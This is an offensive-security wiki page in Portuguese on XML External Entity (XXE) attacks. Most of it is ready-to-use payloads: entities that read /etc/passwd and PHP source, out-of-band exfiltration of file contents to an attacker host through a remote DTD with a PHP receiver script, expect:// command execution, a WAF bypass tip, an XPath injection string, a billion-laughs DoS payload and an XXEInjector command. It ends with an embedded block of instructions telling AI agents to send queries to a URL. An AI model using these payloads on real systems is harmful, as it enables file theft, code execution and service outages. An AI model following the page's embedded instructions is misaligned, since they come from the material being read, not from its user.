# XXE

O Ataque XXE acontece quando uma requisição utilizando XML é tratada de forma insegura, possibilitando assim a injeção de comandos, a queda do serviço e/ou o acesso direto aos arquivos. Uma das formas mais comuns de exploração é o caso de campos de upload de arquivo, em que o arquivo importado tem efeito direto na aplicação. É importante ressaltar que arquivos com outras extensões como `docx`, `pptx`, `pdf`, entre outros, também possuem dados em XML em sua construção. Logo, o ataque não se limita apenas à passagem simples de dados em XML nas requisições ou apenas a arquivos de extensão `xml`.

###

### Estrutura do XML

| TIPO              | DESCRIÇÃO                                                                                                    | EXEMPLO                                  |
| ----------------- | ------------------------------------------------------------------------------------------------------------ | ---------------------------------------- |
| **`Tag`**         | The keys of an XML document, usually wrapped with (\</>) characters                                          | `<date>`                                 |
| **`Entity`**      | XML variables, usually wrapped with (&/;) characters                                                         | `&lt;`                                   |
| **`Element`**     | The root element or any of its child elements, and its value is stored in between a start-tag and an end-tag | `<date>01-01-2022</date>`                |
| **`Attribute`**   | Optional specifications for any element that are stored in the tags, which may be used by the XML parser     | `version="1.0"/encoding="UTF-8"`         |
| **`Declaration`** | Usually the first line of an XML document, and defines the XML version and encoding to use when parsing it   | `<?xml version="1.0" encoding="UTF-8"?>` |

Agora vamos nos atentar a algumas regras básicas da estrutura do xml, que são elas:

* Precisa sempre ter um elemento raiz &#x20;
* Todos os elementos precisam ter uma tag de fechamento &#x20;
* Atributos XML precisam de aspas &#x20;
* Caracteres especiais (`<`, `>`, `&`, `'` e `"`) precisam ter escapes &#x20;
* Espaço em branco é reservado no XML &#x20;

Para definir que o arquivo é um `XML`, seu arquivo deve conter um dos seguintes inícios:

```bash
<?xml version="1.0"?>
<?xml version="1.0" encoding="UTF-8"?>
<?xml version="1.0" encoding="ISO-8859-1"?>
```

Exemplo de um XML válido:

```markup
<?xml version="1.0"?>
    <change-log>
        <text>Hello World</text>
    </change-log>
```

### Entendendo o XXE

Para fins de exemplo, vamos sempre utilizar a estrutura abaixo, simulando que isso é o padrão quando preenchemos um formulário e é então enviado via POST. Ao fazermos isso, o resultado do campo name é refletido na página HTML.

```bash
<?xml version="1.0" encoding="UTF-8"?>
<root>
	<name>Mysther</name>
	<email></email>
</root>
```

Uma maneira simples de alterarmos a saída, é utilizando um DTD no início do XML. No exemplo abaixo, irá imprimir `XXE ATACK!!`

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
  <!ENTITY xxe "XXE ATTACK!!">
]>
<root>
	<name>&xxe;</name>
	<email>mys@ther.com</email>
</root>
```

Note que, em nosso exemplo, a entrada XML na solicitação HTTP não tinha DTD declarada nos próprios dados XML ou referenciada externamente, então adicionamos uma nova DTD antes de definir nossa entidade. Se o DOCTYPE já estivesse declarado na requisição XML, adicionaríamos apenas o elemento ENTITY a ele.

#### LFI

Lendo arquivos simples

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
	<name>&xxe;</name>
	<email>mys@ther.com</email>
</root>
```

Lendo arquivos em base64 (necessário para bypassar os caracters `<`, `>` e `&`).

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<root>
	<name>&xxe;</name>
	<email>mys@ther.com</email>
</root>
```

#### CDATA

Primeiro execute os seguintes comandos no host atacante:

```bash
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
sudo python -m http.server 80
```

Agora envie a seguinte solicitação para o host alvo

```bash
<?xml version="1.0"?>
<!DOCTYPE name [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///index.php">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://<ip_atacante>/xxe.dtd">
  %xxe;
]>
<root>
	<name>&joined;</name>
	<email>mys@ther.com</email>
</root>
```

#### Error Based XXE

Procure algum ponto onde possa causar um erro de XXE. Por exemplo, coloque uma Entity que não exista em algum lugar do XML: `<name>&entityInexistente;</name>`. Outra forma de causar um erro, é deixando alguma tag aberta ou utilizando caractes como `<`, `>` e `&` para quebrar o XML. Geralmente o erro tem o seguinte formato (em aplicações desenvolvidas em PHP):

```bash
<b>Warning</b>:  DOMDocument::loadXML(): StartTag: invalid element name in Entity, line: 123 in <b>/var/www/html/index.php</b> on line <b>123</b><br />
<b>Warning</b>:  simplexml_import_dom(): Invalid Nodetype to import in <b>/var/www/html/index.php</b> on line <b>123</b><br />
<br />
<b>Notice</b>:  Trying to get property 'name' of non-object in <b>/var/www/html/index.php</b> on line <b>123</b><br />
<br />
```

Agora crie um arquivo no host alvo chamado `xxe.dtd` com o seguinte conteúdo:

```bash
<!ENTITY % file SYSTEM "file:///index.php">
<!ENTITY % error "<!ENTITY content SYSTEM '%entityInexistente;/%file;'>">
```

Feito isso, envieo seguinte payload para o host alvo:

```bash
<?xml version="1.0"?>
<!DOCTYPE name [
	<!ENTITY % remote SYSTEM "http://<ip_atacante>/xxe.dtd">
	%remote;
	%error;
]>
<root>
	<name>Mysther</name>
	<email>mys@ther.com</email>
</root>
```

#### Out-of-Bound Data Exfiltration

Crie um arquivo chamado xxe.dtd com o seguinte conteúdo:

```bash
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://<ip_atacante>/?content=%file;'>">
```

Crie também um arquivo chamado index.php com o conteúdo abaixo:

```bash
<?php
if (isset($_GET['content'])) {
	error_log("\n\n" . base64_decode($_GET['content']));
}
?>
```

Agora basta executar o comando abaixo para receber as requisições:

```bash
sudo php -S 0.0.0.0:80
```

Agora no alvo, envie:

```bash
<?xml version="1.0"?>
<!DOCTYPE name [
<!ENTITY % remote SYSTEM "http://<ip_atacante>/xxe.dtd">
  %remote;
  %oob;
]>
<name>&content;</name>
```

O conteúdo do arquivo `/etc/passwd` do host alvo irá ser exibido no terminal onde está executando o PHP.

### Acessando Arquivos (LFI / RFI)

Antes de realizar um LFI ou RFI, atente-se ao tipo de arquivo que irá ler, pois não podemos ler arquivos com os caracteres `<`, `>` e `&`, já que  eles quebram a estrutura do XML. Ao nos depararmos com essa situação, precisamos por exemplo, dcodificar o arquivo antes. Um exemplo de encode para esse cenário, é quando lemos arquivos PHP, que precisamos converter em base64 com a sintaxe abaixo, que deve ser substituída pelo `file:///path/to/file`

```bash
php://filter/convert.base64-encode/resource=<index.php>
```

#### Internos

```markup
# Interno
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
  
  
# Ou
<!DOCTYPE test [<!ENTITY x SYSTEM "file:///etc/passwd">]><test>%26x;</test>
```

Caso a aplicação utilize PHP, podemos ler arquivos convertendo-os em base64.

```markup
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=</path/to/file>"> ]>
<tag>
  <other-tag>
    <result>&xxe;</result>
  </other-tag>
</tag>
```

#### Externos

```markup
# Externo
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://<ip_atacante>/file.txt" >]><foo>&xxe;</foo>

      
# Ou
<!DOCTYPE data [<!ENTITY passwd SYSTEM "http://<ip_atacante>/file.txt">]><data><text>&passwd;</text></data>
```

O `ELEMENT` pode ser qualquer coisa. O `xxe` é a "variável" onde o conteúdo de `/etc/passwd` é armazenado. Ao desmarcá-lo na tag `foo`, o conteúdo é gerado. Dessa maneira, um invasor pode ler arquivos do sistema local. O `SYSTEM` significa que o que deve ser incluído pode ser encontrado localmente no sistema de arquivos.

{% hint style="success" %}
**DICA**: Alguns WAF's barram a palavra **`SYSTEM`**, porém podemos substituir pela palavra **`PUBLIC`** para realizar um bypass.
{% endhint %}

###

### Remote Code Execution

Se o módulo `expect` do PHP estiver carregado (o que é cada mais difícil de achar), podemos obter o RCE (Remote Code Execution)

```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [ <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://id" >]>
    <creds>
       <user>&xxe;</user>
       <pass>mypass</pass>
    </creds>
```

**Refletindo Conteúdo**

```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teste [ <!ENTITY xxe "Texto a ser refletido" > ]>
<tag_generica> &lt;&xxe;&gt; </tag_generica>
```

### XXEInjector

Primeiro intecepte a página com o burp e salve em um arquivo. Nesse arquivo, não coloque todo o XML, mas sim somente a primeira linha, e depois `XXEINJECT`. Segue abaixo um exemplo

```bash
POST /index.php HTTP/1.1
Host: <ip_alvo>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 120
Origin: http://<ip_alvo>
Connection: close
Referer: http://<ip_alvo>/

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
```

Agora execute o XXEInjector, com o seguinte comando:

```bash
ruby XXEinjector.rb --host=<ip_atacante> --httpport=<porta> --file=<file_header_burp.txt> --path=/etc/passwd --oob=http --phpfilter
```

{% hint style="info" %}
**ATENÇÃO:** Mesmo quando o resultado for negativo, verifique no diretório `Logs`, se há alguma arquivo. Muitas vezes o XXE teve êxito e salva em um arquivo, porém não é exibido no terminal
{% endhint %}

### **XPath**

XPath é uma linguagem de consulta (query), que seleciona nós de um documento XML. Imagine que o documento XML seja banco de dados e o XPath seja o responsável por realizar as consulta. Assim como o SQL Injection, é possível manipular essas consultas e conseguir acesso a mais elementos, obtendo assim mais informações. Podemos pegar resultados nos nós parentes, como no exemplo abaixo:

```markup
admin' or 1=1]/parent::*/child::node()
```

### DoS

Essa técnica não funciona nas versões mais recentes do Apache, pois foi implementado uma proteção contra self-reference (auto-referência))

```bash
<?xml version="1.0"?>
<!DOCTYPE name [
  <!ENTITY a0 "DOS" >
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
  <!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
  <!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
  <!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
  <!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
  <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">        
  <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">        
]>
<root>
	<name>&a10;</name>
	<email>mys@ther.com</email>
</root>
```

### **Como se Proteger**

| **LINGUAGEM** | SOLUÇÃO                                                                                                                                                    |
| ------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `PHP`         | Desabilitar a lib `libxml_disable_entity_loader` mitiga este tipo de problema                                                                              |
| `Java`        | Aplicações que utilizam bibliotecas XML costumam ser vulneráveis por possibilitarem de forma padrão o uso de entidades externas. É necessário desativá-las |
| `C / C++`     | Para a biblioteca `libxml2`, as opções `XML_PARSE_NOENT` e `XML_PARSE_DTDLOAD` não devem ser definidas                                                     |

\---

#### Sites

```bash
# XXInjector
https://github.com/enjoiz/XXEinjector

# OWASP
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#php
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/xxe.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
